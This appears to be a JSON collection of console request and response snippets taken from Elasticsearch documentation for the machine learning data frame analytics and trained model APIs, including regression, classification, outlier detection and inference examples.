{"source_location":{"file":"ml/df-analytics/apis/put-dfanalytics.asciidoc","line":574},"digest":"8c6f3bb8abae9ff1d21e776f16ad1c86","lang":"console","found":[],"source":"PUT _ml/data_frame/analytics/model-flight-delays-pre\n{\n \"source\": {\n \"index\": [\n \"kibana_sample_data_flights\" <1>\n ],\n \"query\": { <2>\n \"range\": {\n \"DistanceKilometers\": {\n \"gt\": 0\n }\n }\n },\n \"_source\": { <3>\n \"includes\": [],\n \"excludes\": [\n \"FlightDelay\",\n \"FlightDelayType\"\n ]\n }\n },\n \"dest\": { <4>\n \"index\": \"df-flight-delays\",\n \"results_field\": \"ml-results\"\n },\n \"analysis\": {\n \"regression\": {\n \"dependent_variable\": \"FlightDelayMin\",\n \"training_percent\": 90\n }\n },\n \"analyzed_fields\": { <5>\n \"includes\": [],\n \"excludes\": [\n \"FlightNum\"\n ]\n },\n \"model_memory_limit\": \"100mb\"\n}"}, {"source_location":{"file":"ml/df-analytics/apis/put-dfanalytics.asciidoc","line":644},"digest":"ce3c391c2b1915cfc44a2917bca71d19","lang":"console","found":[],"source":"PUT _ml/data_frame/analytics/loganalytics\n{\n \"description\": \"Outlier detection on log data\",\n \"source\": {\n \"index\": \"logdata\"\n },\n \"dest\": {\n \"index\": \"logdata_out\"\n },\n \"analysis\": {\n \"outlier_detection\": {\n \"compute_feature_influence\": true,\n \"outlier_fraction\": 0.05,\n \"standardization_enabled\": true\n }\n }\n}"}, {"source_location":{"file":"ml/df-analytics/apis/put-dfanalytics.asciidoc","line":669},"digest":"ee17c3adcf4fe3bacdd261a4774912d9","lang":"console-result","found":[],"source":"{\n \"id\" : \"loganalytics\",\n \"create_time\" : 1656364565517,\n \"version\" : \"8.4.0\",\n \"authorization\" : {\n \"roles\" : [\n \"superuser\"\n ]\n },\n \"description\" : \"Outlier detection on log data\",\n \"source\" : {\n \"index\" : [\n \"logdata\"\n ],\n \"query\" : {\n \"match_all\" : { }\n }\n },\n \"dest\" : {\n \"index\" : \"logdata_out\",\n \"results_field\" : \"ml\"\n },\n \"analysis\" : {\n \"outlier_detection\" : {\n \"compute_feature_influence\" : true,\n \"outlier_fraction\" : 0.05,\n \"standardization_enabled\" : true\n }\n },\n \"model_memory_limit\" : \"1gb\",\n \"allow_lazy_start\" : false,\n \"max_num_threads\" : 1\n}\n"}, {"source_location":{"file":"ml/df-analytics/apis/put-dfanalytics.asciidoc","line":717},"digest":"e8211247c280a3fbbbdd32850b743b7b","lang":"console","found":[],"source":"PUT _ml/data_frame/analytics/house_price_regression_analysis\n{\n \"source\": {\n \"index\": \"houses_sold_last_10_yrs\"\n },\n \"dest\": {\n \"index\": \"house_price_predictions\"\n },\n \"analysis\":\n {\n \"regression\": {\n \"dependent_variable\": \"price\"\n }\n }\n}"}, {"source_location":{"file":"ml/df-analytics/apis/put-dfanalytics.asciidoc","line":740},"digest":"1b6d27c2586c5679d4d6483539abdad2","lang":"console-result","found":[],"source":"{\n \"id\" : \"house_price_regression_analysis\",\n \"create_time\" : 1656364845151,\n \"version\" : \"8.4.0\",\n \"authorization\" : {\n \"roles\" : [\n \"superuser\"\n ]\n },\n \"source\" : {\n \"index\" : [\n \"houses_sold_last_10_yrs\"\n ],\n \"query\" : {\n \"match_all\" : { }\n }\n },\n \"dest\" : {\n \"index\" : \"house_price_predictions\",\n \"results_field\" : \"ml\"\n },\n \"analysis\" : {\n \"regression\" : {\n \"dependent_variable\" : \"price\",\n \"prediction_field_name\" : \"price_prediction\",\n \"training_percent\" : 100.0,\n \"randomize_seed\" : -3578554885299300212,\n \"loss_function\" : \"mse\",\n \"early_stopping_enabled\" : true\n }\n },\n \"model_memory_limit\" : \"1gb\",\n \"allow_lazy_start\" : false,\n \"max_num_threads\" : 1\n}\n"}, {"source_location":{"file":"ml/df-analytics/apis/put-dfanalytics.asciidoc","line":787},"digest":"ae82eb17c23cb8e5761cb6240a5ed0a6","lang":"console","found":[],"source":"PUT _ml/data_frame/analytics/student_performance_mathematics_0.3\n{\n \"source\": {\n \"index\": \"student_performance_mathematics\"\n },\n \"dest\": {\n \"index\":\"student_performance_mathematics_reg\"\n },\n \"analysis\":\n {\n \"regression\": {\n \"dependent_variable\": \"G3\",\n \"training_percent\": 70, <1>\n \"randomize_seed\": 19673948271 <2>\n }\n }\n}"}, {"source_location":{"file":"ml/df-analytics/apis/put-dfanalytics.asciidoc","line":816},"digest":"dac8ec8547bc446637fd97d9fa872f4f","lang":"console","found":[],"source":"PUT _ml/data_frame/analytics/flight_prices\n{\n \"source\": {\n \"index\": [\n \"kibana_sample_data_flights\"\n ]\n },\n \"dest\": {\n \"index\": \"kibana_sample_flight_prices\"\n },\n \"analysis\": {\n \"regression\": {\n \"dependent_variable\": \"AvgTicketPrice\",\n \"num_top_feature_importance_values\": 2,\n \"feature_processors\": [\n {\n \"frequency_encoding\": {\n \"field\": \"DestWeather\",\n \"feature_name\": \"DestWeather_frequency\",\n \"frequency_map\": {\n \"Rain\": 0.14604811155570188,\n \"Heavy Fog\": 0.14604811155570188,\n \"Thunder & Lightning\": 0.14604811155570188,\n \"Cloudy\": 0.14604811155570188,\n \"Damaging Wind\": 0.14604811155570188,\n \"Hail\": 0.14604811155570188,\n \"Sunny\": 0.14604811155570188,\n \"Clear\": 0.14604811155570188\n }\n }\n },\n {\n \"target_mean_encoding\": {\n \"field\": \"DestWeather\",\n \"feature_name\": \"DestWeather_targetmean\",\n \"target_map\": {\n \"Rain\": 626.5588814585794,\n \"Heavy Fog\": 626.5588814585794,\n \"Thunder & Lightning\": 626.5588814585794,\n \"Hail\": 626.5588814585794,\n \"Damaging Wind\": 626.5588814585794,\n \"Cloudy\": 626.5588814585794,\n \"Clear\": 626.5588814585794,\n \"Sunny\": 626.5588814585794\n },\n \"default_value\": 624.0249512020454\n }\n },\n {\n \"one_hot_encoding\": {\n \"field\": \"DestWeather\",\n \"hot_map\": {\n \"Rain\": \"DestWeather_Rain\",\n \"Heavy Fog\": \"DestWeather_Heavy Fog\",\n \"Thunder & Lightning\": \"DestWeather_Thunder & Lightning\",\n \"Cloudy\": \"DestWeather_Cloudy\",\n \"Damaging Wind\": \"DestWeather_Damaging Wind\",\n \"Hail\": \"DestWeather_Hail\",\n \"Clear\": \"DestWeather_Clear\",\n \"Sunny\": \"DestWeather_Sunny\"\n }\n }\n }\n ]\n }\n },\n \"analyzed_fields\": {\n \"includes\": [\n \"AvgTicketPrice\",\n \"Cancelled\",\n \"DestWeather\",\n \"FlightDelayMin\",\n \"DistanceMiles\"\n ]\n },\n \"model_memory_limit\": \"30mb\"\n}"}, {"source_location":{"file":"ml/df-analytics/apis/put-dfanalytics.asciidoc","line":908},"digest":"4fb0629146ca78b85e823edd405497bb","lang":"console","found":[],"source":"PUT _ml/data_frame/analytics/loan_classification\n{\n \"source\" : {\n \"index\": \"loan-applicants\"\n },\n \"dest\" : {\n \"index\": \"loan-applicants-classified\"\n },\n \"analysis\" : {\n \"classification\": {\n \"dependent_variable\": \"label\",\n \"training_percent\": 75,\n \"num_top_classes\": 2\n }\n }\n}"}, {"source_location":{"file":"ml/df-analytics/apis/delete-dfanalytics.asciidoc","line":51},"digest":"1c8b6768c4eefc76fcb38708152f561b","lang":"console","found":["ruby"],"source":"DELETE _ml/data_frame/analytics/loganalytics"}, {"source_location":{"file":"ml/df-analytics/apis/delete-dfanalytics.asciidoc","line":59},"digest":"aff76d64e6270a13c3274869f9abc3a9","lang":"console-result","found":[],"source":"{\n \"acknowledged\" : true\n}"}, {"source_location":{"file":"ml/df-analytics/apis/evaluate-dfanalytics.asciidoc","line":253},"digest":"d4b405ef0302227e050ac8f0e39068e1","lang":"console","found":["ruby"],"source":"POST _ml/data_frame/_evaluate\n{\n \"index\": \"my_analytics_dest_index\",\n \"evaluation\": {\n \"outlier_detection\": {\n \"actual_field\": \"is_outlier\",\n \"predicted_probability_field\": \"ml.outlier_score\"\n }\n }\n}"}, {"source_location":{"file":"ml/df-analytics/apis/evaluate-dfanalytics.asciidoc","line":270},"digest":"3b486424d5469101f3f9fde3fcdb8203","lang":"console-result","found":[],"source":"{\n \"outlier_detection\": {\n \"auc_roc\": {\n \"value\": 0.92584757746414444\n },\n \"confusion_matrix\": {\n \"0.25\": {\n \"tp\": 5,\n \"fp\": 9,\n \"tn\": 204,\n \"fn\": 5\n },\n \"0.5\": {\n \"tp\": 1,\n \"fp\": 5,\n \"tn\": 208,\n \"fn\": 9\n },\n \"0.75\": {\n \"tp\": 0,\n \"fp\": 4,\n \"tn\": 209,\n \"fn\": 10\n }\n },\n \"precision\": {\n \"0.25\": 0.35714285714285715,\n \"0.5\": 0.16666666666666666,\n \"0.75\": 0\n },\n \"recall\": {\n \"0.25\": 0.5,\n \"0.5\": 0.1,\n \"0.75\": 0\n }\n }\n}"}, {"source_location":{"file":"ml/df-analytics/apis/evaluate-dfanalytics.asciidoc","line":315},"digest":"0502284d4685c478eb68761f979f4303","lang":"console","found":["ruby"],"source":"POST _ml/data_frame/_evaluate\n{\n \"index\": \"house_price_predictions\", <1>\n \"query\": {\n \"bool\": {\n \"filter\": [\n { \"term\": { \"ml.is_training\": false } } <2>\n ]\n }\n },\n \"evaluation\": {\n \"regression\": {\n \"actual_field\": \"price\", <3>\n \"predicted_field\": \"ml.price_prediction\", <4>\n \"metrics\": {\n \"r_squared\": {},\n \"mse\": {},\n \"msle\": {\"offset\": 10},\n \"huber\": {\"delta\": 1.5}\n }\n }\n }\n}"}, {"source_location":{"file":"ml/df-analytics/apis/evaluate-dfanalytics.asciidoc","line":354},"digest":"24ad3c234f69f55a3fbe2d488e70178a","lang":"console","found":["ruby"],"source":"POST _ml/data_frame/_evaluate\n{\n \"index\": \"student_performance_mathematics_reg\",\n \"query\": {\n \"term\": {\n \"ml.is_training\": {\n \"value\": true <1>\n }\n }\n },\n \"evaluation\": {\n \"regression\": {\n \"actual_field\": \"G3\", <2>\n \"predicted_field\": \"ml.G3_prediction\", <3>\n \"metrics\": {\n \"r_squared\": {},\n \"mse\": {},\n \"msle\": {},\n \"huber\": {}\n }\n }\n }\n}"}, {"source_location":{"file":"ml/df-analytics/apis/evaluate-dfanalytics.asciidoc","line":395},"digest":"64622409407316d2d47094e692d9b516","lang":"console","found":["ruby"],"source":"POST _ml/data_frame/_evaluate\n{\n \"index\": \"student_performance_mathematics_reg\",\n \"query\": {\n \"term\": {\n \"ml.is_training\": {\n \"value\": false <1>\n }\n }\n },\n \"evaluation\": {\n \"regression\": {\n \"actual_field\": \"G3\", <2>\n \"predicted_field\": \"ml.G3_prediction\", <3>\n \"metrics\": {\n \"r_squared\": {},\n \"mse\": {},\n \"msle\": {},\n \"huber\": {}\n }\n }\n }\n}"}, {"source_location":{"file":"ml/df-analytics/apis/evaluate-dfanalytics.asciidoc","line":436},"digest":"388d3eda4f792d3fce044777739217e6","lang":"console","found":["ruby"],"source":"POST _ml/data_frame/_evaluate\n{\n \"index\": \"animal_classification\",\n \"evaluation\": {\n \"classification\": { <1>\n \"actual_field\": \"animal_class\", <2>\n \"predicted_field\": \"ml.animal_class_prediction\", <3>\n \"metrics\": {\n \"multiclass_confusion_matrix\" : {} <4>\n }\n }\n }\n}"}, {"source_location":{"file":"ml/df-analytics/apis/evaluate-dfanalytics.asciidoc","line":464},"digest":"c9b0865574c0db1f8ea02d507e215bfe","lang":"console-result","found":[],"source":"{\n \"classification\" : {\n \"multiclass_confusion_matrix\" : {\n \"confusion_matrix\" : [\n {\n \"actual_class\" : \"cat\", <1>\n \"actual_class_doc_count\" : 12, <2>\n \"predicted_classes\" : [ <3>\n {\n \"predicted_class\" : \"cat\",\n \"count\" : 12 <4>\n },\n {\n \"predicted_class\" : \"dog\",\n \"count\" : 0 <5>\n }\n ],\n \"other_predicted_class_doc_count\" : 0 <6>\n },\n {\n \"actual_class\" : \"dog\",\n \"actual_class_doc_count\" : 11,\n \"predicted_classes\" : [\n {\n \"predicted_class\" : \"dog\",\n \"count\" : 7\n },\n {\n \"predicted_class\" : \"cat\",\n \"count\" : 4\n }\n ],\n \"other_predicted_class_doc_count\" : 0\n }\n ],\n \"other_actual_class_count\" : 0\n }\n }\n }"}, {"source_location":{"file":"ml/df-analytics/apis/evaluate-dfanalytics.asciidoc","line":517},"digest":"09e6e06ba562f4b9bac59455e9151a80","lang":"console","found":["ruby"],"source":"POST _ml/data_frame/_evaluate\n{\n \"index\": \"animal_classification\",\n \"evaluation\": {\n \"classification\": { <1>\n \"actual_field\": \"animal_class\", <2>\n \"metrics\": {\n \"auc_roc\" : { <3>\n \"class_name\": \"dog\" <4>\n }\n }\n }\n }\n}"}, {"source_location":{"file":"ml/df-analytics/apis/evaluate-dfanalytics.asciidoc","line":546},"digest":"70fe53e23c2ff4c7c22709e16879bac0","lang":"console-result","found":[],"source":"{\n \"classification\" : {\n \"auc_roc\" : {\n \"value\" : 0.8941788639536681\n }\n }\n}"}, {"source_location":{"file":"ml/df-analytics/apis/explain-dfanalytics.asciidoc","line":120},"digest":"8aa17bd25a3f2d634e5253b4b72fec4c","lang":"console","found":[],"source":"POST _ml/data_frame/analytics/_explain\n{\n \"source\": {\n \"index\": \"houses_sold_last_10_yrs\"\n },\n \"analysis\": {\n \"regression\": {\n \"dependent_variable\": \"price\"\n }\n }\n}"}, {"source_location":{"file":"ml/df-analytics/apis/explain-dfanalytics.asciidoc","line":139},"digest":"fdfac19398a52c398d60bcdd3d4f7c9d","lang":"console-result","found":[],"source":"{\n \"field_selection\": [\n {\n \"field\": \"number_of_bedrooms\",\n \"mappings_types\": [\"integer\"],\n \"is_included\": true,\n \"is_required\": false,\n \"feature_type\": \"numerical\"\n },\n {\n \"field\": \"postcode\",\n \"mappings_types\": [\"text\"],\n \"is_included\": false,\n \"is_required\": false,\n \"reason\": \"[postcode.keyword] is preferred because it is aggregatable\"\n },\n {\n \"field\": \"postcode.keyword\",\n \"mappings_types\": [\"keyword\"],\n \"is_included\": true,\n \"is_required\": false,\n \"feature_type\": \"categorical\"\n },\n {\n \"field\": \"price\",\n \"mappings_types\": [\"float\"],\n \"is_included\": true,\n \"is_required\": true,\n \"feature_type\": \"numerical\"\n }\n ],\n \"memory_estimation\": {\n \"expected_memory_without_disk\": \"128MB\",\n \"expected_memory_with_disk\": \"32MB\"\n }\n}"}, {"source_location":{"file":"ml/df-analytics/apis/get-dfanalytics.asciidoc","line":212},"digest":"5ccfd9f4698dcd7cdfbc6bad60081aab","lang":"console","found":["ruby"],"source":"GET _ml/data_frame/analytics/loganalytics"}, {"source_location":{"file":"ml/df-analytics/apis/get-dfanalytics.asciidoc","line":220},"digest":"347c6b162bebdb3f2cf7f8812cdb6568","lang":"console-result","found":[],"source":"{\n \"count\" : 1,\n \"data_frame_analytics\" : [\n {\n \"id\" : \"loganalytics\",\n \"create_time\" : 1656364565517,\n \"version\" : \"8.4.0\",\n \"authorization\" : {\n \"roles\" : [\n \"superuser\"\n ]\n },\n \"description\" : \"Outlier detection on log data\",\n \"source\" : {\n \"index\" : [\n \"logdata\"\n ],\n \"query\" : {\n \"match_all\" : { }\n }\n },\n \"dest\" : {\n \"index\" : \"logdata_out\",\n \"results_field\" : \"ml\"\n },\n \"analysis\" : {\n \"outlier_detection\" : {\n \"compute_feature_influence\" : true,\n \"outlier_fraction\" : 0.05,\n \"standardization_enabled\" : true\n }\n },\n \"model_memory_limit\" : \"1gb\",\n \"allow_lazy_start\" : false,\n \"max_num_threads\" : 1\n }\n ]\n}"}, {"source_location":{"file":"ml/df-analytics/apis/get-dfanalytics-stats.asciidoc","line":533},"digest":"fad26f4fb5a1bc9c38db33394e877d94","lang":"console","found":["ruby"],"source":"GET _ml/data_frame/analytics/weblog-outliers/_stats"}, {"source_location":{"file":"ml/df-analytics/apis/get-dfanalytics-stats.asciidoc","line":539},"digest":"0c2b3feeab83f6fd68ebd1accb79ebd9","lang":"console-result","found":[],"source":"{\n \"count\" : 1,\n \"data_frame_analytics\" : [\n {\n \"id\" : \"weblog-outliers\",\n \"state\" : \"stopped\",\n \"progress\" : [\n {\n \"phase\" : \"reindexing\",\n \"progress_percent\" : 100\n },\n {\n \"phase\" : \"loading_data\",\n \"progress_percent\" : 100\n },\n {\n \"phase\" : \"computing_outliers\",\n \"progress_percent\" : 100\n },\n {\n \"phase\" : \"writing_results\",\n \"progress_percent\" : 100\n }\n ],\n \"data_counts\" : {\n \"training_docs_count\" : 1001,\n \"test_docs_count\" : 0,\n \"skipped_docs_count\" : 0\n },\n \"memory_usage\" : {\n \"timestamp\" : 1626264770206,\n \"peak_usage_bytes\" : 328011,\n \"status\" : \"ok\"\n },\n \"analysis_stats\" : {\n \"outlier_detection_stats\" : {\n \"timestamp\" : 1626264770206,\n \"parameters\" : {\n \"n_neighbors\" : 0,\n \"method\" : \"ensemble\",\n \"compute_feature_influence\" : true,\n \"feature_influence_threshold\" : 0.1,\n \"outlier_fraction\" : 0.05,\n \"standardization_enabled\" : true\n },\n \"timing_stats\" : {\n \"elapsed_time\" : 32\n }\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"ml/df-analytics/apis/preview-dfanalytics.asciidoc","line":69},"digest":"b85716ba42a57096452665c38995da7d","lang":"console","found":[],"source":"POST _ml/data_frame/analytics/_preview\n{\n \"config\": {\n \"source\": {\n \"index\": \"houses_sold_last_10_yrs\"\n },\n \"analysis\": {\n \"regression\": {\n \"dependent_variable\": \"price\"\n }\n }\n }\n}"}, {"source_location":{"file":"ml/df-analytics/apis/preview-dfanalytics.asciidoc","line":89},"digest":"368888b315d3719d5add258e4f70f07a","lang":"console-result","found":[],"source":"{\n \"feature_values\": [\n {\n \"number_of_bedrooms\": \"1\",\n \"postcode\": \"29655\",\n \"price\": \"140.4\"\n },\n ...\n ]\n}"}, {"source_location":{"file":"ml/df-analytics/apis/start-dfanalytics.asciidoc","line":82},"digest":"1a3a4b8a4bfee4ab84ddd13d8835f560","lang":"console","found":[],"source":"POST _ml/data_frame/analytics/loganalytics/_start"}, {"source_location":{"file":"ml/df-analytics/apis/start-dfanalytics.asciidoc","line":90},"digest":"f052c0460de9e53274506d780b23f202","lang":"console-result","found":[],"source":"{\n \"acknowledged\" : true,\n \"node\" : \"node-1\"\n}"}, {"source_location":{"file":"ml/df-analytics/apis/stop-dfanalytics.asciidoc","line":69},"digest":"db19cc7a26ca80106d86d688f4be67a8","lang":"console","found":["ruby"],"source":"POST _ml/data_frame/analytics/loganalytics/_stop"}, {"source_location":{"file":"ml/df-analytics/apis/stop-dfanalytics.asciidoc","line":77},"digest":"0cb51a35e30e7cb43c0d65adef177a84","lang":"console-result","found":[],"source":"{\n \"stopped\" : true\n}"}, {"source_location":{"file":"ml/df-analytics/apis/update-dfanalytics.asciidoc","line":92},"digest":"9f99be2d58c48a6bf8e892aa24604197","lang":"console","found":[],"source":"POST _ml/data_frame/analytics/loganalytics/_update\n{\n \"model_memory_limit\": \"200mb\"\n}"}, {"source_location":{"file":"ml/df-analytics/apis/update-dfanalytics.asciidoc","line":104},"digest":"328871cd9c70e0f4c53323d73169999a","lang":"console-result","found":[],"source":"{\n \"id\" : \"loganalytics\",\n \"create_time\" : 1656364565517,\n \"version\" : \"8.4.0\",\n \"authorization\" : {\n \"roles\" : [\n \"superuser\"\n ]\n },\n \"description\" : \"Outlier detection on log data\",\n \"source\" : {\n \"index\" : [\n \"logdata\"\n ],\n \"query\" : {\n \"match_all\" : { }\n }\n },\n \"dest\" : {\n \"index\" : \"logdata_out\",\n \"results_field\" : \"ml\"\n },\n \"analysis\" : {\n \"outlier_detection\" : {\n \"compute_feature_influence\" : true,\n \"outlier_fraction\" : 0.05,\n \"standardization_enabled\" : true\n }\n },\n \"model_memory_limit\" : \"200mb\",\n \"allow_lazy_start\" : false,\n \"max_num_threads\" : 1\n}"}, {"source_location":{"file":"ml/trained-models/apis/clear-trained-model-deployment-cache.asciidoc","line":43},"digest":"7e4cb3de3e3c75646b60f9f81ddc59cc","lang":"console","found":["python","ruby"],"source":"POST _ml/trained_models/elastic__distilbert-base-uncased-finetuned-conll03-english/deployment/cache/_clear"}, {"source_location":{"file":"ml/trained-models/apis/clear-trained-model-deployment-cache.asciidoc","line":51},"digest":"b29fb7982a289c9a23d34cba02cf123c","lang":"console-result","found":[],"source":"{\n \"cleared\": true\n}"}, {"source_location":{"file":"ml/trained-models/apis/put-trained-models-aliases.asciidoc","line":82},"digest":"147d341cb212dcc015c129a9c5dcf9c9","lang":"console","found":["python","ruby"],"source":"PUT _ml/trained_models/flight-delay-prediction-1574775339910/model_aliases/flight_delay_model"}, {"source_location":{"file":"ml/trained-models/apis/put-trained-models-aliases.asciidoc","line":94},"digest":"d50b030edfe6d1128eb76aa5ba9d4e27","lang":"console","found":["python","ruby"],"source":"PUT _ml/trained_models/flight-delay-prediction-1580004349800/model_aliases/flight_delay_model?reassign=true"}, {"source_location":{"file":"ml/trained-models/apis/put-trained-model-definition-part.asciidoc","line":64},"digest":"be6b0bfcdce1ef100af89f74da5d4748","lang":"console","found":["python"],"source":"PUT _ml/trained_models/elastic__distilbert-base-uncased-finetuned-conll03-english/definition/0\n{\n \"definition\": \"...\",\n \"total_definition_length\": 265632637,\n \"total_parts\": 64\n}"}, {"source_location":{"file":"ml/trained-models/apis/put-trained-model-definition-part.asciidoc","line":77},"digest":"581fbd443376ef07072018020e700289","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"ml/trained-models/apis/put-trained-model-vocabulary.asciidoc","line":63},"digest":"2d633b7f346b828d01f923ce9dbf6ad5","lang":"console","found":["python"],"source":"PUT _ml/trained_models/elastic__distilbert-base-uncased-finetuned-conll03-english/vocabulary\n{\n \"vocabulary\": [\n \"[PAD]\",\n \"[unused0]\",\n ...\n ]\n}"}, {"source_location":{"file":"ml/trained-models/apis/put-trained-model-vocabulary.asciidoc","line":78},"digest":"581fbd443376ef07072018020e700289","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"ml/trained-models/apis/delete-trained-models-aliases.asciidoc","line":51},"digest":"821422f8a03dc98d024a15fc737fe9eb","lang":"console","found":["python","ruby"],"source":"DELETE _ml/trained_models/flight-delay-prediction-1574775339910/model_aliases/flight_delay_model"}, {"source_location":{"file":"ml/trained-models/apis/delete-trained-models.asciidoc","line":54},"digest":"cc90639f2e65bd89cb73296cac6135cf","lang":"console","found":["python","ruby"],"source":"DELETE _ml/trained_models/regression-job-one-1574775307356"}, {"source_location":{"file":"ml/trained-models/apis/delete-trained-models.asciidoc","line":63},"digest":"aff76d64e6270a13c3274869f9abc3a9","lang":"console-result","found":[],"source":"{\n \"acknowledged\" : true\n}"}, {"source_location":{"file":"ml/trained-models/apis/get-trained-models.asciidoc","line":1460},"digest":"4c174e228b6b74497b73ef2be80de7ad","lang":"console","found":["python","ruby"],"source":"GET _ml/trained_models/"}, {"source_location":{"file":"ml/trained-models/apis/get-trained-models-stats.asciidoc","line":405},"digest":"9225841fdcddaf83ebdb90c2b0399e20","lang":"console","found":["python","ruby"],"source":"GET _ml/trained_models/_stats"}, {"source_location":{"file":"ml/trained-models/apis/get-trained-models-stats.asciidoc","line":414},"digest":"b0a253a5d3a2bc2bb5050675c1730f50","lang":"console-result","found":[],"source":"{\n \"count\": 2,\n \"trained_model_stats\": [\n {\n \"model_id\": \"flight-delay-prediction-1574775339910\",\n \"pipeline_count\": 0,\n \"inference_stats\": {\n \"failure_count\": 0,\n \"inference_count\": 4,\n \"cache_miss_count\": 3,\n \"missing_all_fields_count\": 0,\n \"timestamp\": 1592399986979\n }\n },\n {\n \"model_id\": \"regression-job-one-1574775307356\",\n \"pipeline_count\": 1,\n \"inference_stats\": {\n \"failure_count\": 0,\n \"inference_count\": 178,\n \"cache_miss_count\": 3,\n \"missing_all_fields_count\": 0,\n \"timestamp\": 1592399986979\n },\n \"ingest\": {\n \"total\": {\n \"count\": 178,\n \"time_in_millis\": 8,\n \"current\": 0,\n \"failed\": 0\n },\n \"pipelines\": {\n \"flight-delay\": {\n \"count\": 178,\n \"time_in_millis\": 8,\n \"current\": 0,\n \"failed\": 0,\n \"processors\": [\n {\n \"inference\": {\n \"type\": \"inference\",\n \"stats\": {\n \"count\": 178,\n \"time_in_millis\": 7,\n \"current\": 0,\n \"failed\": 0\n }\n }\n }\n ]\n }\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"ml/trained-models/apis/infer-trained-model.asciidoc","line":849},"digest":"35a272df8c919a12d7c3106a18245748","lang":"console","found":["python","ruby"],"source":"POST _ml/trained_models/lang_ident_model_1/_infer\n{\n \"docs\":[{\"text\": \"The fool doth think he is wise, but the wise man knows himself to be a fool.\"}]\n}"}, {"source_location":{"file":"ml/trained-models/apis/infer-trained-model.asciidoc","line":860},"digest":"9dba1d3030959a81d193dde87a60af07","lang":"console-result","found":[],"source":"{\n \"inference_results\": [\n {\n \"predicted_value\": \"en\",\n \"prediction_probability\": 0.9999658805366392,\n \"prediction_score\": 0.9999658805366392\n }\n ]\n}"}, {"source_location":{"file":"ml/trained-models/apis/infer-trained-model.asciidoc","line":880},"digest":"776b553df0e507c96dbdbaedecaca0cc","lang":"console","found":["python","ruby"],"source":"POST _ml/trained_models/model2/_infer\n{\n\t\"docs\": [{\"text_field\": \"The movie was awesome!!\"}]\n}"}, {"source_location":{"file":"ml/trained-models/apis/infer-trained-model.asciidoc","line":891},"digest":"880db3183fcaa977d129d62a679f5c2c","lang":"console-result","found":[],"source":"{\n \"inference_results\": [{\n \"predicted_value\" : \"POSITIVE\",\n \"prediction_probability\" : 0.9998667964092964\n }]\n}"}, {"source_location":{"file":"ml/trained-models/apis/infer-trained-model.asciidoc","line":905},"digest":"ff776c0fccf93e1c7050f7cb7efbae0b","lang":"console","found":["python","ruby"],"source":"POST _ml/trained_models/model2/_infer\n{\n\t\"docs\": [{\"text_field\": \"Hi my name is Josh and I live in Berlin\"}]\n}"}, {"source_location":{"file":"ml/trained-models/apis/infer-trained-model.asciidoc","line":916},"digest":"4f645597e1009e893b7fa0ddba3e7207","lang":"console-result","found":[],"source":"{\n \"inference_results\": [{\n \"predicted_value\" : \"Hi my name is [Josh](PER&Josh) and I live in [Berlin](LOC&Berlin)\",\n \"entities\" : [\n {\n \"entity\" : \"Josh\",\n \"class_name\" : \"PER\",\n \"class_probability\" : 0.9977303419824,\n \"start_pos\" : 14,\n \"end_pos\" : 18\n },\n {\n \"entity\" : \"Berlin\",\n \"class_name\" : \"LOC\",\n \"class_probability\" : 0.9992474323902818,\n \"start_pos\" : 33,\n \"end_pos\" : 39\n }\n ]\n }]\n}"}, {"source_location":{"file":"ml/trained-models/apis/infer-trained-model.asciidoc","line":945},"digest":"9cbb097e5498a9fde39e3b1d3b62a4d2","lang":"console","found":["python","ruby"],"source":"POST _ml/trained_models/model2/_infer\n{\n \"docs\": [\n {\n \"text_field\": \"This is a very happy person\"\n }\n ],\n \"inference_config\": {\n \"zero_shot_classification\": {\n \"labels\": [\n \"glad\",\n \"sad\",\n \"bad\",\n \"rad\"\n ],\n \"multi_label\": false\n }\n }\n}"}, {"source_location":{"file":"ml/trained-models/apis/infer-trained-model.asciidoc","line":972},"digest":"0a7cd6c39c2f26b0feffe4cf3db6c5db","lang":"console-result","found":[],"source":"{\n \"inference_results\": [{\n \"predicted_value\" : \"glad\",\n \"top_classes\" : [\n {\n \"class_name\" : \"glad\",\n \"class_probability\" : 0.8061155063386439,\n \"class_score\" : 0.8061155063386439\n },\n {\n \"class_name\" : \"rad\",\n \"class_probability\" : 0.18218006158387956,\n \"class_score\" : 0.18218006158387956\n },\n {\n \"class_name\" : \"bad\",\n \"class_probability\" : 0.006325615787634201,\n \"class_score\" : 0.006325615787634201\n },\n {\n \"class_name\" : \"sad\",\n \"class_probability\" : 0.0053788162898424545,\n \"class_score\" : 0.0053788162898424545\n }\n ],\n \"prediction_probability\" : 0.8061155063386439\n }]\n}"}, {"source_location":{"file":"ml/trained-models/apis/infer-trained-model.asciidoc","line":1008},"digest":"3c345feb7c52fd54bcb5d5505fd8bc3b","lang":"console","found":["python","ruby"],"source":"POST _ml/trained_models/model2/_infer\n{\n \"docs\": [\n {\n \"text_field\": \"\"\n }\n ],\n \"inference_config\": {\n \"question_answering\": {\n \"question\": \"\"\n }\n }\n}"}, {"source_location":{"file":"ml/trained-models/apis/infer-trained-model.asciidoc","line":1028},"digest":"326297e76ab2f4f081295145a30d12ea","lang":"console-result","found":[],"source":"{\n \"predicted_value\": ,\n \"start_offset\": ,\n \"end_offset\": \n}"}, {"source_location":{"file":"ml/trained-models/apis/infer-trained-model.asciidoc","line":1043},"digest":"095e3f21941a9cc75f398389a075152d","lang":"console","found":["python"],"source":"POST _ml/trained_models/cross-encoder__ms-marco-tinybert-l-2-v2/_infer\n{\n \"docs\":[{ \"text_field\": \"Berlin has a population of 3,520,031 registered inhabitants in an area of 891.82 square kilometers.\"}, {\"text_field\": \"New York City is famous for the Metropolitan Museum of Art.\"}],\n \"inference_config\": {\n \"text_similarity\": {\n \"text\": \"How many people live in Berlin?\"\n }\n }\n}"}, {"source_location":{"file":"ml/trained-models/apis/infer-trained-model.asciidoc","line":1060},"digest":"54a8ef726f2d754d61d98c56a79319fe","lang":"console-result","found":[],"source":"{\n \"inference_results\": [\n {\n \"predicted_value\": 7.235751628875732\n },\n {\n \"predicted_value\": -11.562295913696289\n }\n ]\n}"}, {"source_location":{"file":"ml/trained-models/apis/infer-trained-model.asciidoc","line":1078},"digest":"cee491dd0a8d10ed0cb11a2faa0c99f0","lang":"console","found":["python","ruby"],"source":"POST _ml/trained_models/model2/_infer\n{\n \"docs\": [{\"text_field\": \"The Amazon rainforest covers most of the Amazon basin in South America\"}],\n \"inference_config\": {\n \"ner\": {\n \"tokenization\": {\n 